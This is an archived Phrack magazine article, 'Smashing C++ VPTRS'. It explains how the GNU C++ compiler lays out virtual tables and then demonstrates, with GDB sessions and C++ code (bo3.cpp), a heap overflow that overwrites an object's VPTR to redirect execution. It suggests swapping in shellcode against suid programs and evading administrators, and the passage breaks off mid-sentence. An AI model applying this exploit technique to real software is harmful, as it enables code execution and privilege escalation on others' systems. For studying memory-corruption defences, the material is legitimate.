💾 Archived View for aphrack.org › issues › phrack56 › 8.gmi captured on 2021-12-04 at 18:04:22. Gemini links have been rewritten to link to archived content
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
- P H R A C K M A G A Z I N E -
Volume 0xa Issue 0x38
05.01.2000
0x08[0x10]
|----------------------------- SMASHING C++ VPTRS ----------------------------|
|-----------------------------------------------------------------------------|
|-------------------------- rix <rix@securiweb.net> --------------------------|
----| Introduction
At the present time, a widely known set of techniques instructs us how to
exploit buffer overflows in programs usually written in C. Although C is
almost ubiquitously used, we are seeing many programs also be written in C++.
For the most part, the techniques that are applicable in C are available in
C++ also, however, C++ can offer us new possibilities in regards to buffer
overflows, mostly due to the use of object oriented technologies. We are
going to analyze one of these possibilities, using the C++ GNU compiler,
on an x86 Linux system.
----| C++ Backgrounder
We can define a "class" as being a structure that contains data and a set of
functions (called "methods"). Then, we can create variables based on this
class definition. Those variables are called "objects". For example, we
can have the following program (bo1.cpp):
#include <stdio.h>
#include <string.h>
class MyClass
{
private:
char Buffer[32];
public:
void SetBuffer(char *String)
{
strcpy(Buffer, String);
}
void PrintBuffer()
{
printf("%s\n", Buffer);
}
};
void main()
{
MyClass Object;
Object.SetBuffer("string");
Object.PrintBuffer();
}
This small program defines a MyClass class that possesses 2 methods:
1) A SetBuffer() method, that fills an internal buffer to the class (Buffer).
2) A PrintBuffer() method, that displays the content of this buffer.
Then, we define an Object object based on the MyClass class. Initially, we'll
notice that the SetBuffer() method uses a *very dangerous* function to fill
Buffer, strcpy()...
As it happens, using object oriented programming in this simplistic example
doesn't bring too many advantages. On the other hand, a mechanism very often
used in object oriented programming is the inheritance mechanism. Let's
consider the following program (bo2.cpp), using the inheritance mechanism
to create 2 classes with distinct PrintBuffer() methods:
#include <stdio.h>
#include <string.h>
class BaseClass
{
private:
char Buffer[32];
public:
void SetBuffer(char *String)
{
strcpy(Buffer,String);
}
virtual void PrintBuffer()
{
printf("%s\n",Buffer);
}
};
class MyClass1:public BaseClass
{
public:
void PrintBuffer()
{
printf("MyClass1: ");
BaseClass::PrintBuffer();
}
};
class MyClass2:public BaseClass
{
public:
void PrintBuffer()
{
printf("MyClass2: ");
BaseClass::PrintBuffer();
}
};
void main()
{
BaseClass *Object[2];
Object[0] = new MyClass1;
Object[1] = new MyClass2;
Object[0]->SetBuffer("string1");
Object[1]->SetBuffer("string2");
Object[0]->PrintBuffer();
Object[1]->PrintBuffer();
}
This program creates 2 distinct classes (MyClass1, MyClass2) which are
derivatives of a BaseClass class. These 2 classes differ at the display level
(PrintBuffer() method). Each has its own PrintBuffer() method, but they both
call the original PrintBuffer() method (from BaseClass). Next, we have the
main() function define an array of pointers to two objects of class BaseClass.
Each of these objects is created, as derived from MyClass1 or MyClass2.
Then we call the SetBuffer() and PrintBuffer() methods of these two objects.
Executing the program produces this output:
rix@pentium:~/BO> bo2
MyClass1: string1
MyClass2: string2
rix@pentium:~/BO>
We now notice the advantage of object oriented programming. We have the
same calling primitives to PrintBuffer() for two different classes! This is
the end result from virtual methods. Virtual methods permit us to redefine
newer versions of methods of our base classes, or to define a method of the
base classes (if the base class is purely abstracted) in a derivative class.
If we don't declare the method as virtual, the compiler would do the call
resolution at compile time ("static binding"). To resolve the call at run
time (because this call depends on the class of objects that we have in our
Object[] array), we must declare our PrintBuffer() method as "virtual". The
compiler will then use a dynamic binding, and will calculate the address for
the call at run time.
----| C++ VPTR
We are now going to analyze in a more detailed manner this dynamic binding
mechanism. Let's take the case of our BaseClass class and its derivative
classes.
The compiler first browses the declaration of BaseClass. Initially, it
reserves 32 bytes for the definition of Buffer. Then, it reads the
declaration of the SetBuffer() method (not virtual) and it directly assigns
the corresponding address in the code. Finally, it reads the declaration of
the PrintBuffer() method (virtual). In this case, instead of doing a static
binding, it does a dynamic binding, and reserves 4 bytes in the class (those
bytes will contain a pointer). We have now the following structure:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV
Where: B represents a byte of Buffer.
V represents a byte of our pointer.
This pointer is called "VPTR" (Virtual Pointer), and points to an entry in an
array of function pointers. Those point themselves to methods (relative to
the class). There is one VTABLE for a class, that contains only pointers to
all class methods. We now have the following diagram:
Object[0]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV
=+==
|
+------------------------------+
|
+--> VTABLE_MyClass1: IIIIIIIIIIIIPPPP
Object[1]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBWWWW
=+==
|
+------------------------------+
|
+--> VTABLE_MyClass2: IIIIIIIIIIIIQQQQ
Where: B represents a byte of Buffer.
V represents a byte of the VPTR to VTABLE_MyClass1.
W represents a byte of the VPTR to VTABLE_MyClass2.
I represents various information bytes.
P represents a byte of the pointer to the PrintBuffer() method of
MyClass1.
Q represents a byte of the pointer to the PrintBuffer() method of
MyClass2.
If we had a third object of MyClass1 class, for example, we would have:
Object[2]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV
with VVVV that would point to VTABLE_MyClass1.
We notice that the VPTR is located after our Buffer in the process's memory.
As we fill this buffer via the strcpy() function, we easily deduct that we can
reach the VPTR by filling the buffer!
NOTE: After some tests under Windows, it appears that Visual C++ 6.0
places the VPTR right at the beginning of the object, which prevents us from
using this technique. On the other hand, C++ GNU places the VPTR at the end
of the object (which is what we want).
----| VPTR analysis using GDB
Now we will observe the mechanism more precisely, using a debugger. For this,
we compile our program and run GDB:
rix@pentium:~/BO > gcc -o bo2 bo2.cpp
rix@pentium:~/BO > gdb bo2
GNU gdb 4.17.0.11 with Linux support
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) disassemble main
Dump of assembler code for function main:
0x80485b0 <main>: pushl %ebp
0x80485b1 <main+1>: movl %esp,%ebp
0x80485b3 <main+3>: subl $0x8,%esp
0x80485b6 <main+6>: pushl %edi
0x80485b7 <main+7>: pushl %esi
0x80485b8 <main+8>: pushl %ebx
0x80485b9 <main+9>: pushl $0x24
0x80485bb <main+11>: call 0x80487f0 <___builtin_new>
0x80485c0 <main+16>: addl $0x4,%esp
0x80485c3 <main+19>: movl %eax,%eax
0x80485c5 <main+21>: pushl %eax
0x80485c6 <main+22>: call 0x8048690 <__8MyClass1>
0x80485cb <main+27>: addl $0x4,%esp
0x80485ce <main+30>: movl %eax,%eax
0x80485d0 <main+32>: movl %eax,0xfffffff8(%ebp)
0x80485d3 <main+35>: pushl $0x24
0x80485d5 <main+37>: call 0x80487f0 <___builtin_new>
0x80485da <main+42>: addl $0x4,%esp
0x80485dd <main+45>: movl %eax,%eax
0x80485df <main+47>: pushl %eax
0x80485e0 <main+48>: call 0x8048660 <__8MyClass2>
0x80485e5 <main+53>: addl $0x4,%esp
0x80485e8 <main+56>: movl %eax,%eax
---Type <return> to continue, or q <return> to quit---
0x80485ea <main+58>: movl %eax,0xfffffffc(%ebp)
0x80485ed <main+61>: pushl $0x8048926
0x80485f2 <main+66>: movl 0xfffffff8(%ebp),%eax
0x80485f5 <main+69>: pushl %eax
0x80485f6 <main+70>: call 0x80486c0 <SetBuffer__9BaseClassPc>
0x80485fb <main+75>: addl $0x8,%esp
0x80485fe <main+78>: pushl $0x804892e
0x8048603 <main+83>: movl 0xfffffffc(%ebp),%eax
0x8048606 <main+86>: pushl %eax
0x8048607 <main+87>: call 0x80486c0 <SetBuffer__9BaseClassPc>
0x804860c <main+92>: addl $0x8,%esp
0x804860f <main+95>: movl 0xfffffff8(%ebp),%eax
0x8048612 <main+98>: movl 0x20(%eax),%ebx
0x8048615 <main+101>: addl $0x8,%ebx
0x8048618 <main+104>: movswl (%ebx),%eax
0x804861b <main+107>: movl %eax,%edx
0x804861d <main+109>: addl 0xfffffff8(%ebp),%edx
0x8048620 <main+112>: pushl %edx
0x8048621 <main+113>: movl 0x4(%ebx),%edi
0x8048624 <main+116>: call *%edi
0x8048626 <main+118>: addl $0x4,%esp
0x8048629 <main+121>: movl 0xfffffffc(%ebp),%eax
0x804862c <main+124>: movl 0x20(%eax),%esi
0x804862f <main+127>: addl $0x8,%esi
---Type <return> to continue, or q <return> to quit---
0x8048632 <main+130>: movswl (%esi),%eax
0x8048635 <main+133>: movl %eax,%edx
0x8048637 <main+135>: addl 0xfffffffc(%ebp),%edx
0x804863a <main+138>: pushl %edx
0x804863b <main+139>: movl 0x4(%esi),%edi
0x804863e <main+142>: call *%edi
0x8048640 <main+144>: addl $0x4,%esp
0x8048643 <main+147>: xorl %eax,%eax
0x8048645 <main+149>: jmp 0x8048650 <main+160>
0x8048647 <main+151>: movl %esi,%esi
0x8048649 <main+153>: leal 0x0(%edi,1),%edi
0x8048650 <main+160>: leal 0xffffffec(%ebp),%esp
0x8048653 <main+163>: popl %ebx
0x8048654 <main+164>: popl %esi
0x8048655 <main+165>: popl %edi
0x8048656 <main+166>: movl %ebp,%esp
0x8048658 <main+168>: popl %ebp
0x8048659 <main+169>: ret
0x804865a <main+170>: leal 0x0(%esi),%esi
End of assembler dump.
Let's analyze, in a detailed manner, what our main() function does:
0x80485b0 <main>: pushl %ebp
0x80485b1 <main+1>: movl %esp,%ebp
0x80485b3 <main+3>: subl $0x8,%esp
0x80485b6 <main+6>: pushl %edi
0x80485b7 <main+7>: pushl %esi
0x80485b8 <main+8>: pushl %ebx
The program creates a stack frame, then it reserves 8 bytes on the stack (this
is our local Object[] array), that will contain 2 pointers of 4 bytes each,
respectively in 0xfffffff8 (%ebp) for Object[0] and in 0xfffffffc (%ebp) for
Object[1]. Next, it saves various registers.
0x80485b9 <main+9>: pushl $0x24
0x80485bb <main+11>: call 0x80487f0 <___builtin_new>
0x80485c0 <main+16>: addl $0x4,%esp
The program now calls ___builtin_new, that reserves 0x24 (36 bytes) on the
heap for our Object[0] and sends us back the address of these bytes reserved
in EAX. Those 36 bytes represent 32 bytes for our buffer followed by 4 bytes
for our VPTR.
0x80485c3 <main+19>: movl %eax,%eax
0x80485c5 <main+21>: pushl %eax
0x80485c6 <main+22>: call 0x8048690 <__8MyClass1>
0x80485cb <main+27>: addl $0x4,%esp
Here, we place the address of the object (contained in EAX) on the stack, then
we call the __8MyClass1 function. This function is in fact the constructor of
the MyClass1 class. It is necessary to also notice that in C++, all methods
include an additional "secret" parameter. That is the address of the object
that actually executes the method (the "This" pointer). Let's analyze
instructions from this constructor:
(gdb) disassemble __8MyClass1
Dump of assembler code for function __8MyClass1:
0x8048690 <__8MyClass1>: pushl %ebp
0x8048691 <__8MyClass1+1>: movl %esp,%ebp
0x8048693 <__8MyClass1+3>: pushl %ebx
0x8048694 <__8MyClass1+4>: movl 0x8(%ebp),%ebx
EBX now contains the pointer to the 36 reserved bytes ("This" pointer).
0x8048697 <__8MyClass1+7>: pushl %ebx
0x8048698 <__8MyClass1+8>: call 0x8048700 <__9BaseClass>
0x804869d <__8MyClass1+13>: addl $0x4,%esp
Here, we call the constructor of the BaseClass class.
(gdb) disass __9BaseClass
Dump of assembler code for function __9BaseClass:
0x8048700 <__9BaseClass>: pushl %ebp
0x8048701 <__9BaseClass+1>: movl %esp,%ebp
0x8048703 <__9BaseClass+3>: movl 0x8(%ebp),%edx
EDX receives the pointer to the 36 reserved bytes ("This" pointer).
0x8048706 <__9BaseClass+6>: movl $0x8048958,0x20(%edx)
The 4 bytes situated at EDX+0x20 (=EDX+32) receive the $0x8048958 value.
Then, the __9BaseClass function extends a little farther. If we launch:
(gdb) x/aw 0x08048958
0x8048958 <_vt.9BaseClass>: 0x0
We observe that the value that is written in EDX+0x20 (the VPTR of the
reserved object) receives the address of the VTABLE of the BaseClass class.
Returning to the code of the MyClass1 constructor:
0x80486a0 <__8MyClass1+16>: movl $0x8048948,0x20(%ebx)
It writes the 0x8048948 value to EBX+0x20 (VPTR). Again, the function extends
a little farther. Let's launch:
(gdb) x/aw 0x08048948
0x8048948 <_vt.8MyClass1>: 0x0
We observe that the VPTR is overwritten, and that it now receives the address
of the VTABLE of the MyClass1 class. Our main() function get back (in EAX) a
pointer to the object allocated in memory.
0x80485ce <main+30>: movl %eax,%eax
0x80485d0 <main+32>: movl %eax,0xfffffff8(%ebp)
This pointer is placed in Object[0]. Then, the program uses the same mechanism
for Object[1], evidently with different addresses. After all that
initialization, the following instructions will run:
0x80485ed <main+61>: pushl $0x8048926
0x80485f2 <main+66>: movl 0xfffffff8(%ebp),%eax
0x80485f5 <main+69>: pushl %eax
Here, we first place address 0x8048926 as well as the value of Object[0] on
the stack ("This" pointer). Observing the 0x8048926 address:
(gdb) x/s 0x08048926
0x8048926 <_fini+54>: "string1"
We notice that this address contains "string1" that is going to be copied in
Buffer via the SetBuffer() function of the BaseClass class.
0x80485f6 <main+70>: call 0x80486c0 <SetBuffer__9BaseClassPc>
0x80485fb <main+75>: addl $0x8,%esp
We call the SetBuffer() method of the BaseClass class. It is interesting to
observe that the call of the SetBuffer method is a static binding (because it
is not a virtual method). The same principle is used for the SetBuffer()
method relative to Object[1].
To verify that our 2 objects are correctly initialized at run time, we are
going to install the following breakpoints:
0x80485c0: to get the address of the 1st object.
0x80485da: to get the address of the 2nd object.
0x804860f: to verify that initializations of objects took place well.
(gdb) break *0x80485c0
Breakpoint 1 at 0x80485c0
(gdb) break *0x80485da
Breakpoint 2 at 0x80485da
(gdb) break *0x804860f
Breakpoint 3 at 0x804860f
Finally we run the program:
Starting program: /home/rix/BO/bo2
Breakpoint 1, 0x80485c0 in main ()
While consulting EAX, we will have the address of our 1st object:
(gdb) info reg eax
eax: 0x8049a70 134519408
Then, we continue to the following breakpoint:
(gdb) cont
Continuing.
Breakpoint 2, 0x80485da in main ()
We notice our second object address:
(gdb) info reg eax
eax: 0x8049a98 134519448
We can now run the constructors and the SetBuffer() methods:
(gdb) cont
Continuing.
Breakpoint 3, 0x804860f in main ()
Let's notice that our 2 objects follow themselves in memory (0x8049a70 and
0x8049a98). However, 0x8049a98 - 0x8049a70 = 0x28, which means that there are
4 bytes that have apparently been inserted between the 1st and the 2nd object.
If we want to see these bytes:
(gdb) x/aw 0x8049a98-4
0x8049a94: 0x29
We observe that they contain the value 0x29. The 2nd object is also followed
by 4 particular bytes:
(gdb) x/xb 0x8049a98+32+4
0x8049abc: 0x49
We are now going to display in a more precise manner the internal structure of
each of our objects (now initialized):
(gdb) x/s 0x8049a70
0x8049a70: "string1"
(gdb) x/a 0x8049a70+32
0x8049a90: 0x8048948 <_vt.8MyClass1>
(gdb) x/s 0x8049a98
0x8049a98: "string2"
(gdb) x/a 0x8049a98+32
0x8049ab8: 0x8048938 <_vt.8MyClass2>
We can display the content of the VTABLEs of each of our classes:
(gdb) x/a 0x8048948
0x8048948 <_vt.8MyClass1>: 0x0
(gdb) x/a 0x8048948+4
0x804894c <_vt.8MyClass1+4>: 0x0
(gdb) x/a 0x8048948+8
0x8048950 <_vt.8MyClass1+8>: 0x0
(gdb) x/a 0x8048948+12
0x8048954 <_vt.8MyClass1+12>: 0x8048770 <PrintBuffer__8MyClass1>
(gdb) x/a 0x8048938
0x8048938 <_vt.8MyClass2>: 0x0
(gdb) x/a 0x8048938+4
0x804893c <_vt.8MyClass2+4>: 0x0
(gdb) x/a 0x8048938+8
0x8048940 <_vt.8MyClass2+8>: 0x0
(gdb) x/a 0x8048938+12
0x8048944 <_vt.8MyClass2+12>: 0x8048730 <PrintBuffer__8MyClass2>
We see that the PrintBuffer() method is well the 4th method in the VTABLE of
our classes. Next, we are going to analyze the mechanism for dynamic binding.
It we will continue to run and display registers and memory used. We will
execute the code of the function main() step by step, with instructions:
(gdb) ni
Now we are going to run the following instructions:
0x804860f <main+95>: movl 0xfffffff8(%ebp),%eax
This instruction is going to make EAX point to the 1st object.
0x8048612 <main+98>: movl 0x20(%eax),%ebx
0x8048615 <main+101>: addl $0x8,%ebx
These instructions are going to make EBX point on the 3rd address from the
VTABLE of the MyClass1 class.
0x8048618 <main+104>: movswl (%ebx),%eax
0x804861b <main+107>: movl %eax,%edx
These instructions are going to load the word at offset +8 in the VTABLE to
EDX.
0x804861d <main+109>: addl 0xfffffff8(%ebp),%edx
0x8048620 <main+112>: pushl %edx
These instructions add to EDX the offset of the 1st object, and place the
resulting address (This pointer) on the stack.
0x8048621 <main+113>: movl 0x4(%ebx),%edi // EDI = *(VPTR+8+4)
0x8048624 <main+116>: call *%edi // run the code at EDI
This instructions place in EDI the 4st address (VPTR+8+4) of the VTABLE, that
is the address of the PrintBuffer() method of the MyClass1 class. Then, this
method is executed. The same mechanism is used to execute the PrintBuffer()
method of the MyClass2 class. Finally, the function main() ends a little
farther, using a RET.
We have observed a "strange handling", to point to the beginning of the object
in memory, since we went to look for an offset word in VPTR+8 to add it to the
address of our 1st object. This manipulation doesn't serve has anything in
this precise case, because the value pointed by VPTR+8 was 0:
(gdb) x/a 0x8048948+8
0x8048950 <_vt.8MyClass1+8>: 0x0
However, this manipulation is necessary in several convenient cases. It is why
it is important to notice it. We will come back besides later on this
mechanism, because it will provoke some problems later.
----| Exploiting VPTR
We are now going to try to exploit in a simple manner the buffer overflow.
For it, we must proceed as this:
- To construct our own VTABLE, whose addresses will point to the code that we
want to run (a shellcode for example ;)
- To overflow the content of the VPTR so that it points to our own VTABLE.
One of the means to achieve it, is to code our VTABLE in the beginning of the
buffer that we will overflow. Then, we must set a VPTR value to point back to
the beginning of our buffer (our VTABLE). We can either place our shellcode
directly after our VTABLE in our buffer, either place it after the value of the
VPTR that we are going to overwrite.
However, if we place our shellcode after the VPTR, it is necessary to be
certain that we have access to this part of the memory, to not provoke
segmentation faults.
This consideration depends largely of the size of the buffer.
A buffer of large size will be able to contain without problem a VTABLE and a
shellcode, and then avoid all risks of segmentation faults.
Let's remind ourselves that our objects are each time followed by a 4 bytes
sequence (0x29, 0x49), and that we can without problems write our 00h (end of
string) to the byte behind our VPTR.
To check we are going to place our shellcode rightly before our VPTR.
We are going to adopt the following structure in our buffer:
+------(1)---<----------------+
| |
| ==+=
SSSS ..... SSSS .... B ... CVVVV0
==+= =+== |
| | |
+----(2)--+->-------------+
Where: V represents bytes of the address of the beginning of our buffer.
S represents bytes of the address of our shellcode, here the address of
C (address S=address V+offset VPTR in the buffer-1 in this case, because
we have placed our shellcode rightly before the VPTR).
B represents the possible bytes of any value alignment (NOPs:), to
align the value of our VPTR on the VPTR of the object.
C represents the byte of the shellcode, in this case, a simple CCh byte
(INT 3), that will provoke a SIGTRAP signal.
0 represents the 00h byte, that will be at the end of our buffer (for
strcpy() function).
The number of addresses to put in the beginning of our buffer (SSSS) depends
if we know or not the index in the VTABLE of the 1st method that will be
called after our overflow:
Either we knows this index, and then we writes the corresponding pointer.
Either we doesn't know this index, and we generate a maximum number of
pointers. Then, we hope the method that will be executed will use one of those
overwritten pointers. Notice that a class that contains 200 methods isn't very
usual ;)
The address to put in VVVV (our VPTR) depends principally of the execution of
the program.
It is necessary to note here that our objects were allocated on the heap, and
that it is difficult to know exactly their addresses.
We are going to write a small function that will construct us a buffer.
This function will receive 3 parameters:
- BufferAddress: the address of the beginning of the buffer that we will
overflow.
- NAddress: the number of addresses that we want in our VTABLE.
Here is the code of our BufferOverflow() function:
char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) {
char *Buffer;
unsigned long *LongBuffer;
unsigned long CCOffset;
int i;
Buffer=(char*)malloc(VPTROffset+4);
// allocates the buffer.
CCOffset=(unsigned long)VPTROffset-1;
// calculates the offset of the code to execute in the buffer.
for (i=0;i<VPTROffset;i++) Buffer[i]='\x90';
// fills the buffer with 90h (NOP, old habit:)))
LongBuffer=(unsigned long*)Buffer;
// constructs a pointer to place addresses in our VTABLE.
for (i=0;i<NAddress;i++) LongBuffer[i]=BufferAddress+CCOffset;
// fills our VTABLE at the beginning of the buffer with the address of the
// shellcode.
LongBuffer=(unsigned long*)&Buffer[VPTROffset];
// constructs a pointeur on VPTR.
*LongBuffer=BufferAddress;
// value that will overwrite VPTR.
Buffer[CCOffset]='\xCC';
// our executable code.
Buffer[VPTROffset+4]='\x00';
// finishes by a 00h char (end string).
return Buffer;
}
In our program we can now call our BufferOverflow() function, with as
parameters:
- the address of our buffer, here the address of our object (Object[0]).
- 4 values in our VTABLE, in this case (since PrintBuffer() is in VTABLE+8+4).
- 32 as offset for VPTR.
Here is the resulting code (bo3.cpp):
#include <stdio.h>
#include <string.h>
#include <malloc.h>
class BaseClass {
private:
char Buffer[32];
public:
void SetBuffer(char *String) {
strcpy(Buffer,String);
}
virtual void PrintBuffer() {
printf("%s\n",Buffer);
}
};
class MyClass1:public BaseClass {
public:
void PrintBuffer() {
printf("MyClass1: ");
BaseClass::PrintBuffer();
}
};
class MyClass2:public BaseClass {
public:
void PrintBuffer() {
printf("MyClass2: ");
BaseClass::PrintBuffer();
}
};
char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) {
char *Buffer;
unsigned long *LongBuffer;
unsigned long CCOffset;
int i;
Buffer=(char*)malloc(VPTROffset+4+1);
CCOffset=(unsigned long)VPTROffset-1;
for (i=0;i<VPTROffset;i++) Buffer[i]='\x90';
LongBuffer=(unsigned long*)Buffer;
for (i=0;i<NAddress;i++) LongBuffer[i]=BufferAddress+CCOffset;
LongBuffer=(unsigned long*)&Buffer[VPTROffset];
*LongBuffer=BufferAddress;
Buffer[CCOffset]='\xCC';
Buffer[VPTROffset+4]='\x00';
return Buffer;
}
void main() {
BaseClass *Object[2];
Object[0]=new MyClass1;
Object[1]=new MyClass2;
Object[0]->SetBuffer(BufferOverflow((unsigned long)&(*Object[0]),4,32));
Object[1]->SetBuffer("string2");
Object[0]->PrintBuffer();
Object[1]->PrintBuffer();
}
We compile, and we launch GDB:
rix@pentium:~/BO > gcc -o bo3 bo3.cpp
rix@pentium:~/BO > gdb bo3
...
(gdb) disass main
Dump of assembler code for function main:
0x8048670 <main>: pushl %ebp
0x8048671 <main+1>: movl %esp,%ebp
0x8048673 <main+3>: subl $0x8,%esp
0x8048676 <main+6>: pushl %edi
0x8048677 <main+7>: pushl %esi
0x8048678 <main+8>: pushl %ebx
0x8048679 <main+9>: pushl $0x24
0x804867b <main+11>: call 0x80488c0 <___builtin_new>
0x8048680 <main+16>: addl $0x4,%esp
0x8048683 <main+19>: movl %eax,%eax
0x8048685 <main+21>: pushl %eax
0x8048686 <main+22>: call 0x8048760 <__8MyClass1>
0x804868b <main+27>: addl $0x4,%esp
0x804868e <main+30>: movl %eax,%eax
0x8048690 <main+32>: movl %eax,0xfffffff8(%ebp)
0x8048693 <main+35>: pushl $0x24
0x8048695 <main+37>: call 0x80488c0 <___builtin_new>
0x804869a <main+42>: addl $0x4,%esp
0x804869d <main+45>: movl %eax,%eax
0x804869f <main+47>: pushl %eax
0x80486a0 <main+48>: call 0x8048730 <__8MyClass2>
0x80486a5 <main+53>: addl $0x4,%esp
0x80486a8 <main+56>: movl %eax,%eax
---Type <return> to continue, or q <return> to quit---
0x80486aa <main+58>: movl %eax,0xfffffffc(%ebp)
0x80486ad <main+61>: pushl $0x20
0x80486af <main+63>: pushl $0x4
0x80486b1 <main+65>: movl 0xfffffff8(%ebp),%eax
0x80486b4 <main+68>: pushl %eax
0x80486b5 <main+69>: call 0x80485b0 <BufferOverflow__FUlii>
0x80486ba <main+74>: addl $0xc,%esp
0x80486bd <main+77>: movl %eax,%eax
0x80486bf <main+79>: pushl %eax
0x80486c0 <main+80>: movl 0xfffffff8(%ebp),%eax
0x80486c3 <main+83>: pushl %eax
0x80486c4 <main+84>: call 0x8048790 <SetBuffer__9BaseClassPc>
0x80486c9 <main+89>: addl $0x8,%esp
0x80486cc <main+92>: pushl $0x80489f6
0x80486d1 <main+97>: movl 0xfffffffc(%ebp),%eax
0x80486d4 <main+100>: pushl %eax
0x80486d5 <main+101>: call 0x8048790 <SetBuffer__9BaseClassPc>
0x80486da <main+106>: addl $0x8,%esp
0x80486dd <main+109>: movl 0xfffffff8(%ebp),%eax
0x80486e0 <main+112>: movl 0x20(%eax),%ebx
0x80486e3 <main+115>: addl $0x8,%ebx
0x80486e6 <main+118>: movswl (%ebx),%eax
0x80486e9 <main+121>: movl %eax,%edx
0x80486eb <main+123>: addl 0xfffffff8(%ebp),%edx
---Type <return> to continue, or q <return> to quit---
0x80486ee <main+126>: pushl %edx
0x80486ef <main+127>: movl 0x4(%ebx),%edi
0x80486f2 <main+130>: call *%edi
0x80486f4 <main+132>: addl $0x4,%esp
0x80486f7 <main+135>: movl 0xfffffffc(%ebp),%eax
0x80486fa <main+138>: movl 0x20(%eax),%esi
0x80486fd <main+141>: addl $0x8,%esi
0x8048700 <main+144>: movswl (%esi),%eax
0x8048703 <main+147>: movl %eax,%edx
0x8048705 <main+149>: addl 0xfffffffc(%ebp),%edx
0x8048708 <main+152>: pushl %edx
0x8048709 <main+153>: movl 0x4(%esi),%edi
0x804870c <main+156>: call *%edi
0x804870e <main+158>: addl $0x4,%esp
0x8048711 <main+161>: xorl %eax,%eax
0x8048713 <main+163>: jmp 0x8048720 <main+176>
0x8048715 <main+165>: leal 0x0(%esi,1),%esi
0x8048719 <main+169>: leal 0x0(%edi,1),%edi
0x8048720 <main+176>: leal 0xffffffec(%ebp),%esp
0x8048723 <main+179>: popl %ebx
0x8048724 <main+180>: popl %esi
0x8048725 <main+181>: popl %edi
0x8048726 <main+182>: movl %ebp,%esp
0x8048728 <main+184>: popl %ebp
---Type <return> to continue, or q <return> to quit---
0x8048729 <main+185>: ret
0x804872a <main+186>: leal 0x0(%esi),%esi
End of assembler dump.
Next, we install a breakpoint in 0x8048690, to get the address of our 1st
object.
(gdb) break *0x8048690
Breakpoint 1 at 0x8048690
And finally, we launch our program:
(gdb) run
Starting program: /home/rix/BO/bo3
Breakpoint 1, 0x8048690 in main ()
We read the address of our 1st object:
(gdb) info reg eax
eax: 0x8049b38 134519608
Then we pursue, while hoping that all happens as foreseen... :)
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x8049b58 in ?? ()
We receive a SIGTRAP well, provoked by the instruction preceding the 0x8049b58
address. However, the address of our object was 0x8049b38.
0x8049b58-1-0x8049b38=0x1F (=31), which is exactly the offset of our CCh in our
buffer. Therefore, it is well our CCh that has been executed!!!
You understood it, we can now replace our simple CCh code, by a small
shellcode, to get some more interesting results, especially if our program
bo3 is suid... ;)
Some variations about the method
================================
We have explain here the simplest exploitable mechanism.
Other more complex cases could possibly appear...
For example, we could have associations between classes like this:
class MyClass3 {
private:
char Buffer3[32];
MyClass1 *PtrObjectClass;
public:
virtual void Function1() {
...
PtrObjectClass1->PrintBuffer();
...
}
};
In this case, we have a relation between 2 classes called "link by reference".
Our MyClass3 class contains a pointer to another class. If we overflow the
buffer in the MyClass3 class, we can overwrite the PtrObjectClass pointer. We
only need to browse a supplementary pointer ;)
+----------------------------------------------------+
| |
+-> VTABLE_MyClass3: IIIIIIIIIIIIRRRR |
=+==
MyClass3 object: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBPPPPXXXX
==+=
|
+---------------------<---------------------------+
|
+--> MyClass1 object: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCYYYY
==+=
|
+-------------------------------------------------------+
|
+--> VTABLE_MyClass1: IIIIIIIIIIIIQQQQ
Where: B represents bytes of the Buffer of MyClass4.
C represents bytes of the Buffer of MyClass1.
P represents bytes of a pointer to a MyClass1 object class.
X represents bytes of the possible VPTR of the MyClass4 object class.
(it is not necessary to have a VPTR in the class containing the
pointer).
Y represent bytes of the VPTR of the MyClass1 object class.
This technique doesn't depend here on the structure of the internal class to
the compiler (offset of VPTR), but depend of the structure of the class
defined by the programmer, and dus it can even be exploited in programs coming
from compilers placing the VPTR at the beginning of the object in memory (for
example Visual C++).
Besides, in this case, the MyClass3 object class possibly have been created
on the stack (local object), what makes that localization is a lot easier,
being given that the address of the object will probably be fixed. However, in
this case, it will be necessary that our stack be executable, and not our heap
as previously.
We know how to find the values for 2 of the 3 parameters of our
BufferOverflow() function (number of VTABLE addresses, and offset of the VPTR)
Indeed these 2 parameters can be easily founded in debugging the code of the
program, and besides, their value is fixed from on execution to another.
On the other hand, the 1st parameter (address of the object in memory), is
more difficult to establish. In fact, we need this address only because we
want to place the VTABLE that we created into the buffer.
----| A particular example
Let's suppose that we have a class whose last variable is an exploitable
buffer. This means that if we fill this buffer (for example of size N bytes),
with N + 4 bytes, we know that we don't have modify anything else in the space
memory of the process that the content of our buffer, the VPTR, and the
byte following our VPTR (because character 00h).
Perhaps could we take advantage of this situation. But how? We are going to
use the buffer, to launch a shellcode, and next to follow the execution of the
program! The advantage will be enormous, since the program would not be
finished brutally, and dus will not alert someone eventually controlling or
logging its execution (administrators...).
Is it possible?
It would be necessary to first execute our shellcode, to rewrite a chain in
our buffer, and to restore the stack in the initial state (just before the
call of our method). Then, it would only remain us to recall the initial
method, so that the program normally continues.
Here are several remarks and problems that we are going to meet:
- it is necessary to completely rewrite our buffer (so that the continuation
of the execution uses appropriate values), and therefore to overwrite our own
shellcode.
To avoid it, we are going to copy a part of our shellcode (the smallest part
as possible ) to another place in memory.
In this case we are going to copy a part of our shellcode to the stack (we
will call this part of code "stackcode"). It should not pose any particularly
problems if our stack is executable.
- We had mentioned before a "strange handling", that consisted to add an
offset to the address of our object, and to place this result on the stack,
what provided the This pointer to the executed method.
The problem is, that here, the offset that is going to be added to the
address of our object is going to be took in our VTABLE, and that this offset
cannot be 0 (because we cannot have 00h bytes in our buffer).
We are going to choose an arbitrary value for this offset, that we will place
in our VTABLE, and correct the This value on the stack later, with a
corresponding subtraction.
- we are going to make a fork () on our process, to launch the execution of
the shell (exec ()), and to wait for its termination (wait ()), to continue
